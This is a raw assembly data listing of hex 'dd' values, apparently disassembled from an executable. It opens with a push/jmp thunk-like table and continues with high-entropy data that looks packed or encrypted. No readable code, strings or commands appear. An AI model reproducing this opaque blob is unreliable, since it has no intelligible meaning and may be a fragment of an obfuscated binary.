		dd 0E906135Ah, 0FFFD2984h, 135AA268h, 297AE906h, 8C68FFFDh
		dd 0E906135Bh, 0FFFD2970h, 135C5F68h, 2966E906h, 2E68FFFDh
		dd 0E906135Dh, 0FFFD295Ch, 135E0568h, 2952E906h, 0A568FFFDh
		dd 0E906135Eh, 0FFFD2948h, 13629D68h, 293EE906h, 0FF68FFFDh
		dd 0E9061362h, 0FFFD2934h, 13649A68h, 292AE906h, 0C068FFFDh
		dd 0E9061367h, 0FFFD2920h, 136B4C68h, 2916E906h, 8B68FFFDh
		dd 0E906136Fh, 0FFFD290Ch, 13710068h, 2902E906h, 6268FFFDh
		dd 0E9061371h, 0FFFD28F8h, 1371B068h, 28EEE906h, 2A68FFFDh
		dd 0E9061372h, 0FFFD28E4h, 1373B668h, 28DAE906h, 0A868FFFDh
		dd 0E9061374h, 0FFFD28D0h, 13767C68h, 28C6E906h, 0DB8BFFFDh
		dd 0EF952498h, 0D07504B8h, 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh
		dd 0FBAFEEA2h, 0D488C97Ch, 0F266A145h, 0D387BC63h, 9D25E4D8h
		dd 796BDF2Bh, 7932B07Ch, 7CE75B4Eh, 23FF6DCCh, 8B34533Fh
		dd 767DE256h, 34628B65h, 216C2327h, 0A01D7F4h, 67FC5021h
		dd 54EE9DC3h, 7B943C50h, 0AD79E4DAh, 6BC7B774h,	0EA289A91h
		dd 50CC943Ch, 0F7AB877Bh, 3CEA16B0h, 49822794h,	4D883E5Dh
		dd 4E8F4259h, 656B0A99h, 6660FFB4h, 0EA319178h,	50D5943Ch
		dd 13B158AEh, 54294DA3h, 7A75824Bh, 316239h, 5CA80000h
		dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5611552h, 0D76F36E8h
		dd 36943C7Ch, 0FAE4E67Dh, 3C7CB30Fh, 2D75394h, 7B35B4FDh
		dd 0CC9439h, 32F60000h,	0DE504479h, 906DA65Bh, 2EE221C3h
		dd 0C7BBF097h, 66E217D0h, 0E324C594h, 0E61D06h,	12B96DCCh
		dd 31DA61DDh, 80BF0306h, 0DB579233h, 1FB60BF7h,	0FAE7A2BCh
		dd 1C9803F6h, 0A0378C40h, 0C96A213Bh, 4D9E1559h, 2AE1FFD1h
		dd 9E114998h, 0B5CBA07Ch, 29438226h, 0CFC3FAB2h, 0C614B4Ah
		dd 6A86DEE2h, 9E52C98Dh, 0AD77FA5Fh, 4B5B4038h,	1E335Ah
		dd 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh, 559438BFh
		dd 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh
		dd 24A81A11h, 4F4C6BDFh, 3F7E32C5h, 1E530C8Bh, 9BDC8D4Ch
		dd 2C9695E7h, 0C86DCC7Ch, 0EB73886Ch, 2459DC11h, 428C2206h
		dd 0A3C18128h, 49256DCCh, 0BD5C9834h, 745D4C1Eh, 9267FC7Ch
		dd 3BBEA96h, 14943C7Ch,	4A41356Ch, 0E019D0A2h, 60143034h
		dd 0FBDF764Dh, 3C7CB210h, 0FAD65294h, 0FCA43709h, 14BAD1C5h
		dd 2D492DD9h, 7CEA5853h, 0E0A943Ch, 0FCB6A39h, 7E5B964Ch
		dd 7B363879h, 0BC1839h,	93260000h, 65C1B5EEh, 96D7BC88h
		dd 2534902Bh, 951E3B52h, 0CECDB9EEh, 2DD21Ah, 28DD382Eh
		dd 0F211584Ch, 0CD6DCC35h, 4C0FE116h, 0B77F5C95h, 9E528740h
		dd 4719C251h, 0B693CE74h, 3BFAE7A2h, 401C67FCh,	3BA0378Ch
		dd 93D86A21h, 0D73C9E0Ah, 0BF66DE63h, 0B1969A86h, 907B57F7h
		dd 9E11B632h, 567A56D2h, 0D413B584h, 508B3FFAh,	62D9C37Bh
		dd 0F231D3AFh, 8E42F9CEh, 771EA4Fh, 55414038h, 1D0744h
		dd 276A1C00h, 457C24B3h, 225B1289h, 3F7C2FA6h, 19580C8Bh
		dd 295BA7A5h, 5944887h,	30A72364h, 0C8B3F7Ah, 0BFAA1E53h
		dd 2674CEBDh, 13906BDFh, 3F7E3289h, 1E530C8Bh, 79321CAAh
		dd 92395044h, 6C3DE15Dh, 738D4E65h, 0FC202BB8h,	0D44FCB67h
		dd 91379723h, 9843D251h, 7D92C3C6h, 952C5A9Dh, 0E38FB3F4h
		dd 0FAD4070Eh, 0AD6EC10Fh, 0CBA58150h, 0A6225710h, 266105D4h
		dd 5AE1F67Ah, 0F52AE1B1h, 0D3F96CD1h, 0E1B582A4h, 1C7BF8h
		dd 9BDE9000h, 0B9F0981Fh, 96CF7605h, 0B3F09322h, 8DCC80F7h
		dd 3DAFDBD1h, 9904C8Bh,	24B32768h, 1087437Eh, 0C3A62257h
		dd 2670D2B9h, 17946BDFh, 0A979328Dh, 5DD9CD02h,	0A1388D79h
		dd 0EC69203Ah, 867FC12h, 968F33F6h, 0B679423h, 1E302CEEh
		dd 96F94940h, 411D9423h, 0C106B22Ch, 64DECDB3h,	80942396h
		dd 9F36C7A4h, 4D3C223Ch, 942396F5h, 20381511h, 13CAF869h
		dd 8A3DFC9Eh, 8B42594Dh, 9EC29E52h, 5C488327h, 88FF03D8h
		dd 0DBFAA6E3h, 3D39ED26h, 0D17A3D19h, 56C21CEEh, 6D7F5C7Bh
		dd 1B2A9893h, 4ECA41E2h, 0F3A46779h, 8B4BD277h,	70EE38Fh
		dd 0C10FFAD4h, 8141E264h, 522C610Ah, 0C264EB57h, 330F0B4Dh
		dd 0ABE9A219h, 7DFEC661h, 1E0DDFD5h, 4DC251A4h,	4C00E440h
		dd 7CE116CDh, 93EBE097h, 91FEE7BFh, 0A600001Bh,	8E0DC104h
		dd 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h,	0A6E587F5h
		dd 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDF27CAh
		dd 32E7AD2Ah, 63504479h, 0B6758754h, 67FC0A99h,	0B0E38853h
		dd 238D49F9h, 95B1AD94h, 0F266C2B8h, 50679046h,	42EA718Bh
		dd 0F40AEE0Bh, 8DA31F0Ah, 0F1439423h, 238D883Ah, 0D4F06C94h
		dd 0D1970CF7h, 3D2F9E13h, 13B1F44Eh, 120B109Eh,	685C412Bh
		dd 0BCFFEC08h, 0E26FA310h, 0A556D1F5h, 7BBB9F4Fh, 0B7EE9625h
		dd 1EB443A2h, 0AF6330FCh, 0BF91B5D4h, 0CA509BCCh, 5B472330h
		dd 728C4F66h, 0DA1D79B7h, 431D1936h, 1E9ACF78h,	97CA7D3Ch
		dd 0D98C2E94h, 866AC626h, 0FAC1969Ah, 0C0AF1C51h, 6CF8F03Dh
		dd 1ABE2FB8h, 33D30000h, 7BD3CF0h, 28DD5CD0h, 7BC3BEFh
		dd 0E5870ECAh, 0C83432A6h, 3B7F69Ah, 1C90D174h,	0FAAEE99Dh
		dd 1B8FC47Bh, 0E55D4C30h, 16BDF20h, 793218A4h, 55542A44h
		dd 6DCC7CEDh, 7C9E24E7h, 0FA766DCCh, 55512602h,	68825960h
		dd 0FC1B04C1h, 0EB9EC067h, 94239D57h, 110544E8h, 0EC015D15h
		dd 0DA7E3A36h, 1BC057D8h, 0C1D94A41h, 5DB9E13h,	13C1BC06h
		dd 8F41589Eh, 0A3577450h, 0A9300CC7h, 5BD7CB04h, 0C07857Eh
		dd 93229B55h, 0D3BFF8ADh, 0B259734Fh, 916118FDh, 0CF9AD89h
		dd 77AC53EDh, 815F815Bh, 408F388Ah, 6B80DC9Dh, 70C570C0h
		dd 3A141097h, 0F34F3A24h, 1387B0C4h, 0D2794217h, 0F19A219Dh
		dd 75760FBCh, 0DEB65999h, 19EFF5h, 1F620400h, 3D742CABh
		dd 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh, 0FD7C306Fh
		dd 0C84F0B4Ch, 0E473E722h, 5752063Bh, 211CA665h, 0FBF86BDFh
		dd 44793231h, 87546350h, 1255B675h, 9A3167FCh, 0C09AB6F7h
		dd 671B54F9h, 0E7ADE0Bh, 0EF8075E1h, 0F3B864DAh, 0F20CCFE6h
		dd 1393AA37h, 55D04C9Eh, 833F527Bh, 0BBA0D58Eh,	0BD7CE5E4h
		dd 3E22CE09h, 73058229h, 0FCBF62DAh, 1C180C45h,	0CE179E3Fh
		dd 0DA7567DBh, 5F087F0Dh, 502A462Ah, 0EA190459h, 0DAC6A207h
		dd 0BD536B60h, 7AA1EE00h, 0E2F9005Dh, 8F33F608h, 6737C9A7h
		dd 0A7AC1615h, 0EC4837C9h, 1E0DF308h, 3DF9EDD6h, 0CB77324Ch
		dd 2B3E39DDh, 0C681A2Fh, 8BC067F2h, 6A9F48CFh, 106C3EFDh
		dd 118292E0h, 1918h, 7E3A7D2Dh,	9E1A51F7h, 85397217h, 981451F6h
		dd 7C306F21h, 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h
		dd 7A8669E5h, 0DF22338Fh, 4ED6D36Bh, 50447932h,	75875463h
		dd 7C22A08Bh, 66C26DCCh, 76BC6F91h, 0E67FBD2h, 0CA813812h
		dd 9992BB95h, 44852832h, 49421B17h, 0D7FBAA34h,	929420DFh
		dd 61D85487h, 6CB975AAh, 0A2BC8E4Dh, 0DE75CDBCh, 0FA919420h
		dd 0B671B52h, 0D91912E7h, 7D9E1770h, 540CCFA1h,	0D578431Dh
		dd 6784E094h, 89C068EFh, 1045FE9Dh, 3C81EEABh, 454E4640h
		dd 1878h, 1E9ADD8Dh, 0FEBAF197h, 2599D277h, 0F8B4F196h
		dd 1C90CF81h, 0ECA0D22Eh, 7AA31ADh, 0DF8312C6h,	0FAB128A4h
		dd 1A2609C5h
		dd 0DF22D36Fh, 0EEB6336Bh, 4C1EBD5Ch, 0FBD2955Dh, 1B353167h
		dd 30A9E7A0h, 0E10523C3h, 5EC3775Bh, 0BB6E805Bh, 94201813h
		dd 0D4836FEBh, 9420186Bh, 9F5AF98Ah, 397EC64Eh,	792Eh
		dd 0E4895000h, 204CF6B5h, 0CCA89420h, 6378FCA8h, 1AC15CC9h
		dd 7CE54940h, 0CEFF6DCCh, 0DD9860BFh, 0AC6E8B85h, 0F9C09EB0h
		dd 0B671B54h, 0CC94A61Ch, 0F911096Dh, 3B782142h, 7C2BDE43h
		dd 4C611834h, 4535328h,	6DCCA5BAh, 6E8B2A59h, 336A50A3h
		dd 40E0DA13h, 8911DB7Fh, 1CFC74h, 24E0000h, 6DCC7C45h
		dd 14E6F504h, 0FC0D6815h, 0AE2A0667h, 2D489FCCh, 0E18E830Fh
		dd 0BD5C400Ch, 0A7324C1Eh, 0F7B4C902h, 67FC0652h, 72CCB8B4h
		dd 8A259D8Ch, 0EC9F9423h, 94238A56h, 5EBAB2AEh,	0E419D289h
		dd 0C29E4F0Ah, 421ED20Bh, 0D9EE721Eh, 0F82DD665h, 0B111F8E6h
		dd 2094238Ah, 0B52C2427h, 77F3AB62h, 8325A462h,	0ACC807A9h
		dd 0F42BE1F8h, 0ABE48900h, 44DBC4F7h, 67FEA578h, 2FDA05BEh
		dd 9423A893h, 5FDBF773h, 5042FD8h, 9423A8BDh, 0DF9DD59h
		dd 0A0BA21B8h, 13D880E9h, 2EAA869Eh, 0D7CB00A7h, 49605190h
		dd 1EB50E06h, 0E7A07017h, 4A367517h, 1A160AE6h,	4CF38236h
		dd 6D89C87Ch, 3A6D22B9h, 6560F34Fh, 883AF116h, 6C166560h
		dd 402400F0h, 0ED6C4254h, 0A147FE39h, 9DBAB66Ah, 5BE67FEh
		dd 883BFED0h, 31A82E4Bh, 6451457Ah, 0B5748655h,	1C550144h
		dd 3924622h, 5C7B275Ch,	1BC68A9h, 692203A2h, 4A017834h
		dd 86123B15h, 5BC8D5F3h, 361C2E93h, 8878DC11h, 0B73EB373h
		dd 0A5344A24h, 56DAC601h, 0A7C98A81h, 918D1264h, 0B0E59E1Dh
		dd 8E6A1B9Eh, 0CAB69ADBh, 33DF14CBh, 4836132Fh,	44E4A521h
		dd 6E059E72h, 6FEB20C7h, 0F50742E8h, 0E4A2200Bh, 0E6423244h
		dd 0D2761511h, 19AADF93h, 0CC07BB7Ah, 0AAE58910h, 0EF2CDFF6h
		dd 0C23BF0DDh, 7E6BE220h, 6A1EBD69h, 0E99DDC90h, 0B0BD698Dh
		dd 0CB1FA73Ch, 6A229928h, 9E553F33h, 0BDE6B907h, 104BFF26h
		dd 2E691D9Ch, 1316E842h, 3244F0AFh, 988CCD80h, 9792E49Ch
		dd 3244F02Bh, 56734FCBh, 11EBF007h, 748AB11Ah, 7D95538h
		dd 0A9608B34h, 34B4FE19h, 284521FDh, 3ED56C76h,	0A41853F7h
		dd 4D396E15h, 0B460954Eh, 42DC4D7h, 2A54265Bh, 0B4FDC37Fh
		dd 32472334h, 0B520F1ACh, 6A00D9F2h, 4A000000h,	206104D7h
		dd 60DBF074h, 0A9836FAAh, 2B407D32h, 5F053BDAh,	623EFD1Fh
		dd 0FFE39A79h, 0B92209E3h, 2B67FC3Eh, 0D4C0F9B0h, 9A13AF5Ah
		dd 77F39423h, 388A815Bh, 0DC94239Ah, 0BBB76B80h, 76CCBFA1h
		dd 8E94239Ah, 1F01B592h, 9BD27A41h, 269C8BE7h, 0BE94239Ah
		dd 21A18862h, 0C594239Ah, 54D59469h, 0DB000000h, 5A6FAA60h
		dd 417C32D2h, 82596055h, 2F939668h, 0C76DCC7Ch,	0ADC8AE62h
		dd 5E82B7DEh, 77897789h, 0CC9C0EB4h, 7DC5C46Dh,	996DCC9Ch
		dd 7489E59Dh, 0FCFFFAB7h, 6517A67h, 0B17B59B4h,	7B1208E5h
		dd 9D998DC6h, 0B09FABB0h, 60848BD8h, 0DA19CB8Eh, 0D7B339FDh
		dd 7A265B04h, 703DE1F6h, 51F64A69h, 0F34F3A14h,	136DCC7Ch
		dd 9A213B17h, 68CCB8F5h, 25BE6D93h, 0C167FC20h,	8939E265h
		dd 0D089F4CFh, 55ED9C49h, 0B168F0B9h, 52F09BB5h, 0B268F0B9h
		dd 8BC09AB6h, 38ECEBE1h, 0AD18D4F9h, 1271F4Ch, 4E6B1A2Ch
		dd 0F3A46779h, 8B62C0ADh, 70EE38Fh, 0C10FFAD4h,	8198D09Eh
		dd 5710CBA5h, 0AAD4A622h, 0D01243FFh, 792CA394h, 0CE84C38h
		dd 86BB64EFh, 0F9A30EE1h, 192824Ah, 1480h, 0F6B2F595h
		dd 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h, 0B4588AF6h
		dd 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh, 0DF1E9B27h
		dd 961E7B6Bh, 0CC7D4002h, 0EBF0076Dh, 0D0291A11h, 51CD9803h
		dd 0CB06BC7Fh, 0A7E2880Fh, 0AC5F81FBh, 9423B016h, 0DE5572EEh
		dd 624BF025h, 124A0A02h, 141E9102h, 93330000h, 0A75DDC50h
		dd 883DBC70h, 0A75CDB4Fh, 0C567EE6Ah, 0A8D4D286h, 0E357963Ah
		dd 0BC70B154h, 0DA4E893Dh, 0BB6FA45Bh, 853DECD0h, 616BDF1Eh
		dd 0BD5CB884h, 645D4C1Eh, 8267FC2Fh, 8F97D4A6h,	6C81C415h
		dd 7EBB70E7h, 0A7B98E92h, 1B356C14h, 0B9FC4645h, 1C189423h
		dd 0C3AFE89Dh, 0EAD48A5Fh, 0B9AD1514h, 64279423h, 9423B9DEh
		dd 4B423A36h, 69835F94h, 23B900C2h, 7388E494h, 1D0940E8h
		dd 0F44E3D23h, 109423B9h, 0F34F3A14h, 139423B9h, 0D2794217h
		dd 0B95EE4A7h, 0BAB69423h, 630F44FBh, 0F709E3FFh, 23B98E34h
		dd 15146694h, 9423B9ADh, 0F409ED49h, 0B2F19332h, 0E625C7BEh
		dd 0A73E5D3Ah, 9258CD10h, 0DCF8E770h, 0F938D76Ah, 0FCA01C53h
		dd 34A733C4h, 0AAE89F1Ah, 37279E38h, 2C412522h,	3D742CABh
		dd 10A52249h, 364D9423h, 0B7EE969Fh, 95CC7403h,	124700BBh
		dd 39E5025Eh, 9CAE2DCCh, 34181FAFh, 7B50560Ch, 20CA665h
		dd 23089E14h, 98171048h, 6BD7D271h, 8B9E10F8h, 0BD8FB38Fh
		dd 9C1045FEh, 4531661Dh, 8D7C6970h, 9E10F835h, 0F846FCAFh
		dd 0C29E9E10h, 58724ECAh, 0F6D34586h, 3EC8838Ch, 54294D88h
		dd 27DA7E57h, 0C29C9894h, 0C98050F7h, 2A77AB90h, 839DDDE4h
		dd 0B36CEB5Fh, 0EA063DE3h, 0B12AC936h, 808CC19Fh, 4389DBEEh
		dd 0A41E0DDFh, 408004C7h, 2B1C07E4h, 918A34BEh,	7FB2D45Ch
		dd 637831E8h, 99FBBA9Fh, 6F36F95Ch, 67CFE653h, 0B363545Dh
		dd 128322h, 0B3F69800h,	91C880F7h, 0AEE79E1Dh, 8BC87BFAh
		dd 65A448CFh, 558703E9h, 41B874B3h, 5CDB4F90h, 68EF6BA6h
		dd 0DBCE8ABFh, 18982AE1h, 1F7C6BDFh, 7C590295h,	40E66DCCh
		dd 0DDFC4905h, 683DECFEh, 0F667FBD1h, 34D9607Ah, 0D7A93FFBh
		dd 4DD10696h, 5C4FDE23h, 6DCC54E6h, 293E22FEh, 0EAF99B76h
		dd 97500B30h, 60E38562h, 0DD000001h, 54BA0803h,	0F193924Ch
		dd 0AA62BEB2h, 5C1399AEh, 0D78F1DC2h, 0CC7C6BD4h, 34DA616Dh
		dd 5470A55Eh, 498629A0h, 0D0FDD95Dh, 59288CDh, 0B68A5FE4h
		dd 4D7F8BEh, 0F470245Dh, 0D72B01D7h, 0A3225F04h, 17ACC102h
		dd 0C35CAE74h, 0BA128E1Ch, 8D1BC05Ch, 2BF69E2Eh, 0B366B22h
		dd 32h,	1CC35C81h, 5B04D78Eh, 0E79BD88Bh, 9782678Bh, 70F2C85Bh
		dd 8487596Eh, 6DCCF83Bh, 0D7D157D3h, 5D04D7F5h,	0D58C4724h
		dd 8A420E9Ch, 3440h, 0C35C8C00h, 0D4D78E1Ch, 6DCC7C6Bh
		dd 3A731AA1h, 4006EA46h, 265B04D7h, 0FFE1F67Ah,	4796D72Dh
		dd 0AFEC10A3h, 31D86378h, 2EE5E6F8h, 0CCB2955h,	42ECB895h
		dd 222BF68Ah, 450B366Bh, 81000000h, 0CC80C05Ch,	0DB1ACE8Dh
		dd 0A9D731F7h, 7C6ED4D7h, 0AA866DCCh, 7C69D6CDh, 6A636DCCh
		dd 38F02DD1h, 0F11DDC01h, 0F8742643h, 71B253E6h, 2016AC5Fh
		dd 72EE6DCCh, 0F5D7CF55h, 75437A32h, 4A408A42h,	8C000000h
		dd 9625C05Ch, 66CAB6EFh, 0CC7C03BFh, 9A91E36Dh,	6DCC7C28h
		dd 507450CCh, 6BD4D7CAh, 0A16DCC7Ch, 0F5D7E7B5h, 75437A32h
		dd 4002A9D7h, 0A46DCC7Ch, 7C6BD7D2h, 8F8B6DCCh,	50F299B3h
		dd 0B46DCC7Ch, 5428A3B8h, 0C7A4E385h, 0FE8140FDh, 5C8CFFFFh
		dd 5D4C1EBDh, 67FBD295h, 0F64C3F31h, 0E9420D6h,	0D6D56D1Ch
		dd 35319420h, 0A01B3511h, 24F6B2E7h, 0C9C0F195h, 9420D679h
		dd 0C8A5C19Dh, 2739A235h, 20D6DE64h, 45443694h,	9420D6FDh
		dd 4D391D19h, 20D6BA1Eh, 8EC57B94h, 142E3E2h, 0DE750615h
		dd 0D37201F2h, 7E7FBB16h, 3B9B39h, 2F10000h, 6DCC7C44h
		dd 41FD32D9h
		dd 0CC7C3D8Ah, 0A39D3C6Dh, 498629FFh, 0A437492Dh, 0D0A8C5FCh
		dd 0A1772BAEh, 60C4B0EFh, 2FBC6784h, 0B767FC20h, 761AA1BBh
		dd 2B9C2237h, 0F3h, 1EBD5CA1h, 5A7324Ch, 9FAB1C6h, 0ED67FC19h
		dd 266E5F71h, 1E162D8Ch, 904B2D4Ah, 0A0CD9FDAh,	436BEEE8h
		dd 0FFD01096h, 0ADA3B783h, 0AB2AB4C9h, 0FBC8BCF7h, 13EDFFDCh
		dd 1A3D39DAh, 512B7631h, 23CAE85Ah, 3B100C94h, 14649A50h
		dd 1C2E2A9Eh, 97D47742h, 0E97287EBh, 6C4E0A45h,	528F0D7Fh
		dd 0E2F7E46Dh, 8584B559h, 9E10513Dh, 0C705DD9h,	0CBBA4FCEh
		dd 0CAB4C6AAh, 108963DFh, 0D2A7839Eh, 3D8DFD4h,	3EAB42E9h
		dd 0D63B9427h, 0F49DF3B6h, 728C68B9h, 160A41E7h, 0B28ECD7Fh
		dd 0C39DC395h, 6B1752F8h, 5EA22007h, 0CA7B8005h, 0C09D9989h
		dd 0A3174CF3h, 91366B14h, 5E2CEC3Ch, 5DB720F4h,	7200000Fh
		dd 3AC17DC0h, 58DF5B92h, 35C478B1h, 62D95592h, 0CDBB6FAEh
		dd 62A143B1h, 7DBE6FE6h, 59943AC1h, 78AD56E5h, 34F7C9C4h
		dd 6BDF1B8Eh, 32C38966h, 0DE504479h, 0B76BA85Bh, 0BB019CB2h
		dd 547025F8h, 0CE03BC77h, 0BF566522h, 2498CD76h, 0DD65243Ah
		dd 396DCC02h, 9657203Dh, 76336AABh, 6Bh, 0E11ED188h, 4D7400Ch
		dd 0B94C2160h, 0D1AFC11Ah, 0CC7C68DAh, 0BB908C6Dh, 10B1E6A5h
		dd 0DB4D67FCh, 23979230h, 0DAF67294h, 4CE2CB00h, 4F4D1571h
		dd 6FA2FD8h, 3A514D2Ah,	59E05C91h, 0ECCE74B2h, 769FEA89h
		dd 94B805Ah, 7C2D5645h,	976C1A2Fh, 1CA66580h, 0F89423B2h
		dd 0A95D4F7Ch, 0D7148D02h, 0D92AE1FBh, 0BD9E1367h, 0D75FED61h
		dd 6B32F496h, 0F262ACF5h, 0A4D26199h, 4DF3B28Eh, 0F1066A16h
		dd 0CF8BC26Ah, 0AA1813EDh, 4A6DCCBAh, 8A42F9CEh, 0AC27953h
		dd 6108F6D3h, 6DCCBAFAh, 0F266A145h, 7B55868Dh,	0FB17CC90h
		dd 7D2C5267h, 94210CC5h, 72284521h, 0B055E4F6h,	0F625C377h
		dd 30EB221Bh, 140FBh, 0C25C5100h, 0D4D78F1Dh, 6DCC7C6Bh
		dd 209BB5A1h, 43422E6Bh, 0B5B1659Eh, 0D7F0BC91h, 0AF771AF5h
		dd 8E1CC35Ch, 0C05CBA12h, 9E2E8D1Bh, 6B222BF6h,	2D0B36h
		dd 5C810000h, 0D78E1CC3h, 0CC7C6BD4h, 21A7836Dh, 7F32A9D7h
		dd 0F9CE523Eh, 427B3233h, 0D78A4274h, 7C4002A9h, 0C8A46DCCh
		dd 4E36B3h, 0D7860000h,	71255C04h, 4F1504ECh, 381C3C4Ch
		dd 0B039C223h, 0CCB849F9h, 95B1AD6Dh, 1C4700BBh, 0CCB8D56Dh
		dd 1135316Dh, 0D4D7703Ch, 6DCC7C6Bh, 76CCBFA1h,	8E6DCC7Ch
		dd 611556F7h, 1C0FE105h, 6DCC7CA6h, 38FEE23Eh, 7B32F5D7h
		dd 8A427442h, 6B222BF6h, 420B36h, 5C810000h, 90C980C0h
		dd 0D66480E4h, 4002A9D7h, 826DCC7Ch, 0CC7C3B87h, 8F7FDB6Dh
		dd 0E7A2B693h, 6DCC7C5Eh, 9A6A21B8h, 0EC98BCF1h, 0C7926C88h
		dd 383CE823h, 0F5D78923h, 75437A32h, 40408A42h,	8C000000h
		dd 8D1BC05Ch, 265B04D7h, 2F512F51h, 0CC7CC67Ch,	25421E6Dh
		dd 0CC7CC17Eh, 8D1B3B6Dh, 4D7F5D7h, 8D46235Eh, 0A95297D7h
		dd 6AEC709h, 0F87C285Dh, 0F8E6F8DCh, 0CC5EB111h, 4D9556Dh
		dd 408A4228h, 0FFFFFEB7h, 1EBD5C8Ch, 0D2955D4Ch, 0F10F67FBh
		dd 20D6883Ah, 39F06C94h, 7B7F5C93h, 0BAB3CD9Fh,	6CFFA060h
		dd 54DFFCC7h, 9D636DABh, 0B7AC2FCh, 96D195Ah, 7BBA6EEDh
		dd 0B5C7AB87h, 5C487D26h, 0BA4EA5CFh, 886CECF4h, 8396EB73h
		dd 0D9CD0ABDh, 7967795Dh, 92370BC2h, 0ADC9AD59h, 0A3607DF9h
		dd 9420091Fh, 7F617BF7h, 2009368Ch, 7552CE94h, 0E2C9B789h
		dd 94200960h, 0D8D3A884h, 94200974h, 0A441E093h, 397EB549h
		dd 1029h, 4402A300h, 0D96DCC7Ch, 0C841FD32h, 0BFh, 5E04D734h
		dd 0D6F36F23h, 19D07087h, 143034E0h, 5B24F3Ah, 0D85467FCh
		dd 548F3306h, 72AD61D8h, 0F52AE158h, 56482501h,	0BF914A69h
		dd 142512CCh, 9CAEAA9Eh, 1C2E691Dh, 25AF2E2Fh, 0DD028Bh
		dd 30D56436h, 0D88C0BF7h, 0E8A3BD99h, 9E10375Ah, 0D2895EBAh
		dd 0C035E11Ch, 0E1C8A239h, 9427804Ah, 6BEE005Ch, 63BE4B4h
		dd 728C6EEAh, 4800BB7h,	5A6FEB80h, 2FEC2AE1h, 8C352CEEh
		dd 0BAF7AC2Bh, 0E1866AC6h, 5E2D60E6h, 0D1E9FAAAh, 0E600000Bh
		dd 0CE4D0144h, 0EC6BDF16h, 0B940FC35h, 0D665D916h, 5137F332h
		dd 0E625C735h, 142E372h, 0DD18CE4Dh, 0FC31DA61h, 0B8734D40h
		dd 6BDF170Ah, 3227EDEAh, 0AF2A4479h, 0DEA0BDFEh, 0BC7040E7h
		dd 5987597Dh, 0CC7C10B2h, 6378F46Dh, 3ED5E6A3h,	0C78050F7h
		dd 20FAAE92h, 0CBB7F899h, 448D9267h, 0B4336B2Ah, 59508125h
		dd 923384E9h, 4135110Dh, 83C266E5h, 550266h, 0D7480000h
		dd 71255C04h, 6E85D8F5h, 0B98936Dh, 0AB67FC1Dh,	0C24B99A6h
		dd 98504D71h, 95B1B561h, 1DC6C5B1h, 3EE574E8h, 0BE64F709h
		dd 0C2249E8Dh, 64C09423h, 0EF9A9480h, 9423C253h, 0BE9BB7B3h
		dd 0F7E4F3C0h, 63D2FBE5h, 1324F4C2h, 9B682338h,	7B9E1391h
		dd 0D79D2B9Fh, 75216004h, 8A76AF56h, 26ADCAA6h,	0D493477Eh
		dd 6DCC7C77h, 73E722C8h, 0FAD4070Eh, 0FBD1460Fh, 4A240067h
		dd 0C502A534h, 0BB7855D1h, 7B11CD06h, 0EB221BF6h, 1F5FB30h
		dd 36050000h, 0A983588Dh, 8F1DC25Ch, 7C6BD4D7h,	0B5A16DCCh
		dd 2A9D7E7h, 6DCC7C40h,	2DFABFA4h, 0BE14A261h, 0CDB3C5A2h
		dd 0DC37E9A0h, 3D39ED24h, 0A8BCBC10h, 771AF9D3h, 1696D7AFh
		dd 0E7443D21h, 19A24318h, 4D700C6h, 0E09E195Fh,	8F30D5C1h
		dd 5BFD96B3h, 4085372h,	0A3B857A4h, 2A9D709h, 6DCC7C40h
		dd 38EC2BDDh, 13E8443Ch, 37DA6672h, 4A260AF6h, 2A9D77Ch
		dd 6DCC7C40h, 24B3C8A4h, 222BF694h, 4E0B366Bh, 81000000h
		dd 4002A9D7h, 0A46DCC7Ch, 0C952B3C8h, 0D0754416h, 0D7EAC297h
		dd 3F7E32A9h, 451EC653h, 0DB418935h, 9C29E2F7h,	586DCC27h
		dd 3BF31C73h, 27DE69E3h, 5F5D2EEh, 0F5D7A329h, 0C94D96D7h
		dd 0F4F47406h, 6CA55CD7h, 408A42DEh, 86h, 1CC35C8Ch, 2A9D78Eh
		dd 6DCC7C40h, 7C3B8782h, 7FDB6DCCh, 1A4FF88Fh, 11E60A66h
		dd 0A44A11EFh, 0A4B9BD69h, 0CC7C5EE7h, 0CC9ED66Dh, 7C4BF7B2h
		dd 0A2896DCCh, 6DCC7C20h, 0BCB868C4h, 7C5BE7A2h, 5FBB6DCCh
		dd 0A9D7C28Ah, 2DA196D7h, 9696CEBAh, 0CCCB53EFh, 661CB36Dh
		dd 0D7FB772Bh, 0A9D72A02h, 0CC7C4002h, 0B3C8A46Dh, 36488128h
		dd 7CE16148h, 29056DCCh, 96D77854h, 0D8F0BB67h,	0FC6784CBh
		dd 518E41F8h, 2BF6B07Ch, 0B366B22h, 41h, 1BC05C81h, 6104D78Dh
		dd 0DBF07420h, 7CB90605h, 0D9556DCCh, 51903407h, 96D7B07Ch
		dd 5956B5FDh, 0BDE502E0h, 78515A7Fh, 0F40AEE0Bh, 6F89E8F7h
		dd 82575109h, 437A32AAh, 408A4275h, 3Ah, 1BC05C8Ch, 6BD4D78Dh
		dd 0A16DCC7Ch, 3DB29BB5h, 1D031E31h, 73EE665h, 0F5D75AF2h
		dd 653A7A32h, 592CF65Ah, 4292183Ch, 0D969203Eh,	86DCC7Ch
		dd 0C6F20C6Dh, 72EE9EE0h, 1140CF55h, 40FFFFFEh,	0ABE89B1Eh
		dd 368C7BF7h, 0CE6DCC7Ch, 5CAF7552h, 9BAB15BDh,	499B13B4h
		dd 9A58532Dh, 3A67FB0Eh, 0CF20CDEh, 21FAA51Dh, 0DC4194h
		dd 0C1E85BF3h, 0CC876480h, 8141E813h, 43942167h, 2167FA48h
		dd 4E3E1A94h, 73B053D2h, 7386DB4Fh, 7A01E55Fh, 0A849607Ch
		dd 9BB7BB67h, 0BBA5B7h,	52390E4Bh, 9421C5F0h, 0DB672214h
		dd 3B9421C5h, 0DBCDFADFh, 6DC9FB8Eh, 6ACE9D89h,	99942176h
		dd 63AE4BEAh, 43397E20h, 10h, 7C440289h, 32D96DCCh, 0EBC841FDh
